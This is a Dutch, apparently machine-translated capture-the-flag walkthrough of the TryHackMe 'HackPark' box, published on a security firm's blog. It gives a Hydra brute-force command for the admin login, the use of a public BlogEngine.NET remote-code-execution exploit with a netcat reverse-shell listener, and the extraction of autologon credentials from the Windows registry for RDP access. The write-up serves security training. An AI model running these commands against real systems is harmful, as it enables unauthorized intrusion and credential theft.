HackPark – TryHackMe – Handmatig schrijven

Reading Time: ( Word Count: )

February 21, 2021
Nextdoorsec-course

Intro

Deze machine behandelt het brute-forcen van account credentials & het omgaan met publieke exploits. Hier is een link naar de doos.

 

Opsomming

Nmap scan

Zoals gewoonlijk beginnen we met een Nmap scan.

┌(kali㉿kali)-[~] └─$ export IP=10.10.219.247 ┌(kali㉿kali)-[~] └─$ nmap -A -p- -v -Pn $IP
PORT STATE SERVICE VERSIE 80/tcp open http Microsoft IIS httpd 8.5 | http-methodes: | Ondersteunde methoden: GET HEAD OPTIONS TRACE POST |Potentieel riskante methoden: TRACE | http-robots.txt: 6 verboden vermeldingen |Account/*.* /search /search.aspx /error404.aspx |/archief /archive.aspx |_http-server-header: Microsoft-IIS/8.5 |_http-titel: hackpark | hackpark amusement 3389/tcp open ssl/ms-wbt-server? | ssl-cert: Onderwerp: commonName=hackpark | Uitgever: commonName=hackpark | Type openbare sleutel: rsa | Openbare sleutel bits: 2048 | Handtekeningalgoritme: sha1metRSAEncryptie | Niet geldig voor: 2020-10-01T21:12:23 | Niet geldig na: 2021-04-02T21:12:23 | MD5: 3032 2fb5 4e45 55fa e4d8 a136 f99f 86d3 |_SHA-1: e191 17b5 7329 905e 23e3 93ca d5b1 fbac a510 663b |_ssl-date: 2021-02-09T08:23:14+00:00; -1s van scantijd. Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

We hebben een open Microsoft webserver & een RDP poort. Laten we, terwijl we de website inspecteren, op de achtergrond naar andere interessante directories zoeken.

 

Gobuster directory brute-forcing

┌──(kali㉿kali)-[~] └─$ gobuster dir -u $IP/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e -r
=============================================================== Gobuster v3.0.1 door OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.33.120/ [Draden: 10 [Woordenlijst: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt [+] Statuscodes: 200,204,301,302,307,401,403 [User Agent: gobuster/3.0.1 [Volg Redir: waar [Uitgebreid: waar [Time-out: 10s =============================================================== 2021/02/09 11:14:40 Starten gobuster =============================================================== http://10.10.33.120/contact (Status: 200) http://10.10.33.120/search (Status: 200) http://10.10.33.120/archives (Status: 200) http://10.10.33.120/archive (Status: 200) http://10.10.33.120/content (Status: 403) http://10.10.33.120/contactus (Status: 200) http://10.10.33.120/contacts (Status: 200) http://10.10.33.120/contact_us (Status: 200) http://10.10.33.120/admin (Status: 200)

Met de resultaten van gobuster vinden we de admin login pagina. Als we het type verzoek bekijken door het formulierelement te inspecteren, zien we POST-verzoeken die gegevens naar de webserver sturen.

We hebben ook vastgesteld dat de gebruikersnaam admin is, die in de URL van het inlogformulier staat. Nu we het verzoektype weten en een URL hebben voor het inlogformulier, kunnen we beginnen met het brute-forcen van de account.

 

Exploitatie

Hydra account brute-forcing

1. Ga naar de inlogpagina van de website en probeer in te loggen met willekeurige gegevens.
2. Druk op“F12” of open“Toggle Tools” in Firefox.
3. Selecteer het tabblad“Netwerk“.
4. Probeer in te loggen met willekeurige gegevens.
5. Zoek en selecteer het“POST“-verzoek in de kolom“Methode“.
6. Kopieer de URL vanaf“/Account/login” en plak die ergens om je commando op te bouwen:

7. Druk in de rechter tab op“Request“, scroll helemaal naar beneden en kopieer de inhoud van“Request payload“, en voeg toe aan de vorige link, gescheiden door een dubbele punt ( : ).

8. Vervang uw getypte gebruikersnaam & wachtwoord door ^USER^ & ^PASS^
9. Voeg aan het eind “:Login mislukt” toe aan uw commando.
10. Resultaat:

┌──(kali㉿kali)-[~] └─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt -vV $IP http-post-form [space] '/Account/login.aspx?ReturnURL=/admin/:%2FVTx8KiWtMV4nKZ2uJ6UcDNcYj6zh5gqaKJYVe7nrldsqKahaN76%%2F4h5AjHQ769OAAq1pJvXMoY%.%24MainContent%:Inloggen mislukt

Deze string bestaat uit drie delen, gescheiden door dubbele punten:
pad naar de pagina van het aanmeldingsformulier : verzoekinstantie : foutmelding die wijst op een storing

 

Searchsploit

Na het inloggen als admin, vinden we de BlogEngine versie 3.3.6.0 en zoeken we naar een exploit:

┌──(kali㉿kali)-[~] └─$ searchsploit blogengine 3 ---------------------------------------------------------------------------------- --------------------------------- Exploit Titel | Pad ---------------------------------------------------------------------------------- --------------------------------- BlogEngine 3.3 - 'syndication.axd' XML External Entity Injection | xml/webapps/48422.txt BlogEngine 3.3 - XML External Entity Injection | windows/webapps/46106.txt BlogEngine 3.3.8 - 'Content' Stored XSS | aspx/webapps/48999.txt BlogEngine.NET 1.4 - 'search.aspx' Cross-Site Scripting | asp/webapps/32874.txt BlogEngine.NET 1.6 - Directory Traversal / Openbaarmaking van informatie | asp/webapps/35168.txt BlogEngine.NET 3.3.6 - Directory Traversal / Remote Code Execution | aspx/webapps/46353.cs BlogEngine.NET 3.3.6/3.3.7 - 'dirPath' directory traversal / Remote Code Executio | aspx/webapps/47010.py BlogEngine.NET 3.3.6/3.3.7 - 'path' Directory Traversal | aspx/webapps/47035.py BlogEngine.NET 3.3.6/3.3.7 - 'theme Cookie' directory traversal / Remote Code Exe | aspx/webapps/47011.py BlogEngine.NET 3.3.6/3.3.7 - XML External Entity Injection | aspx/webapps/47014.py ---------------------------------------------------------------------------------- --------------------------------- Shellcodes: Geen resultaten

Kopieer de exploit lokaal, verander het IP & de poort en begin te luisteren naar de gekozen poort.

┌──(kali㉿kali)-[~] └─$ cp /usr/share/exploitdb/exploits/aspx/webapps/46353.cs ./PostView.ascx ┌──(kali㉿kali)-[~] └─$ gedit PostView.ascx ┌──(kali㉿kali)-[~] └─$ sudo nc -nlvp 443

Volgens de exploit beschrijving moeten we het volgende doen:
1. Navigeren naar inhoud
2. Berichten
3. Nieuw
4. Upload Exploit (naam moet PostView.ascx zijn)
5. Publiceren
6. Bezoek http://TARGET_IP/?theme=../../App_Data/files om een schelp te krijgen

luisteren op [any] 443 ... verbinden met [x .x.x.x] vanaf (UNKNOWN) [10 .10.3.192] 50120 Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. Alle rechten voorbehouden. c:\windowssystem32\inetsrv> whoami c:\windowssystem32\inetsrv>whoami iis apppool\blog

 

 

Privilege-escalatie

Systeminfo om een overzicht te krijgen

Laten we de specificaties van de machine bekijken:

> systeminfo
c:\windowssystem32\inetsrv>systeminfo Hostnaam: HACKPARK OS Naam: Microsoft Windows Server 2012 R2 Standaard OS Versie: 6.3.9600 N/A Build 9600 OS Fabrikant: Microsoft Corporation OS Configuratie: Standalone server OS Bouwtype: Multiprocessor Gratis Geregistreerde eigenaar: Windows gebruiker Geregistreerde organisatie: Product ID: 00252-70000-00000-AA886 Originele installatiedatum: 8/3/2019, 10:43:23 AM Opstarttijd systeem: 2/9/2021, 3:19:24 AM Fabrikant van het systeem: Xen Systeemmodel: HVM domU Systeemtype: x64-gebaseerde PC ...

 

 

Whoami privileges controleren

> whoami /priv
c:\windowssystem32\inetsrv>systeminfo PRIVILEGES INFORMATIE ---------------------- Privilege Naam Beschrijving Staat ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Een token op procesniveau vervangen Uitgeschakeld SeIncreaseQuotaPrivilege Aanpassen van geheugenquota voor een proces Uitgeschakeld SeAuditPrivilege Beveiligingsaudits genereren Uitgeschakeld SeChangeNotifyPrivilege Omzeilen van traversecontrole Ingeschakeld SeImpersonatePrivilege Impersoneren van een cliënt na authenticatie Ingeschakeld SeCreateGlobalPrivilege Globale objecten creëren Ingeschakeld SeIncreaseWorkingSetPrivilege Verhogen van een proceswerkset Uitgeschakeld

Windows gebruikt tokens om ervoor te zorgen dat accounts de juiste rechten hebben om bepaalde acties uit te voeren. Accounttokens worden aan een account toegekend wanneer gebruikers zich aanmelden of geverifieerd worden.

 

Er zijn twee soorten toegangsmunten:

  • primaire toegangstokens: die welke aan een gebruikersaccount zijn gekoppeld en bij het aanmelden worden gegenereerd
  • impersonatietokens: hiermee kan een bepaald proces (of een thread in een proces) toegang krijgen tot bronnen met behulp van het token van een ander (gebruiker/cliënt) proces.

We kunnen tokenimitatie gebruiken om toegang tot het systeem te krijgen.

Winlogon referenties

Laten we het register controleren op User Autologon / Winlogon referenties:

> reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon".
... LastUsedUsername REG_SZ administrator AutoAdminLogon REG_DWORD 0x1 DefaultUserName REG_SZ administrator DefaultPassword REG_SZ 4q6[redacted]Fdxs

Het lijkt erop dat we wat admin credentials hebben gevonden; laten we de open RDP poort gebruiken om verbinding te maken met de machine.

> xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:$IP /u:administrator /p:'4q6X[redacted] dxs '

We hebben de vlag ongewoon teruggehaald. Laten we doorgaan met de normale weg om een andere zwakte van deze doos uit te buiten.

 

Niet-genoteerde dienstenpaden

Laten we zoeken naar ongequoteerde servicepaden:

> wmic service get name, displayname, pathname, startmode |findstr /i "Auto" |findstr /i /v "C:\Windows." |i /v """
AWS Lite Guest Agent AWSLiteAgent C:\Program Files\XenTools\LiteAgent.exe Auto System Scheduler Service WindowsScheduler C:\PROGRA~2\SYSTEM~1\WService.exe Auto

Laten we de naam van de dienst opvragen voor meer informatie.

> sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS SERVICE_NAME: WindowsScheduler TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 NEGEREN BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : System Scheduler Service : SERVICE_START_NAME : LocalSystem

Kijk in de logbestanden voor de juiste binaire naam die automatisch wordt uitgevoerd. In de kaart van de systeemplanner kunt u de message.exe met een gegenereerde shell exec om een admin-shell als alternatief te krijgen.

Aydan Arabadzha

Aydan Arabadzha

Author

Aydan, a cybersecurity ace and AI visionary, thrives on the frontlines of offensive security. His passion birthed NextdoorSec, a groundbreaking cybersecurity firm. A relentless pioneer, Aydan is persistently pushing boundaries, shaping the future of the digital world one byte at a time.

Other interesting articles

Top Security Practices to Protect Your Data in Cloud Services

Top Security Practices to Protect Your Data in Cloud Services

Cloud services make storing and accessing your data simple and flexible, but they also bring new security ...
Boosting Efficiency With Law Firm IT Solutions: A Guide for Small Practices

Boosting Efficiency With Law Firm IT Solutions: A Guide for Small Practices

Small law firms often juggle multiple responsibilities with limited resources, making efficiency a top priority. ...
Automated vs Manual Penetration Testing

Automated vs Manual Penetration Testing

Pentesting is largely divided into two methodologies: Automated vs Manual Penetration Testing. Both have ...
0 Comments

Submit a Comment

Your email address will not be published. Required fields are marked *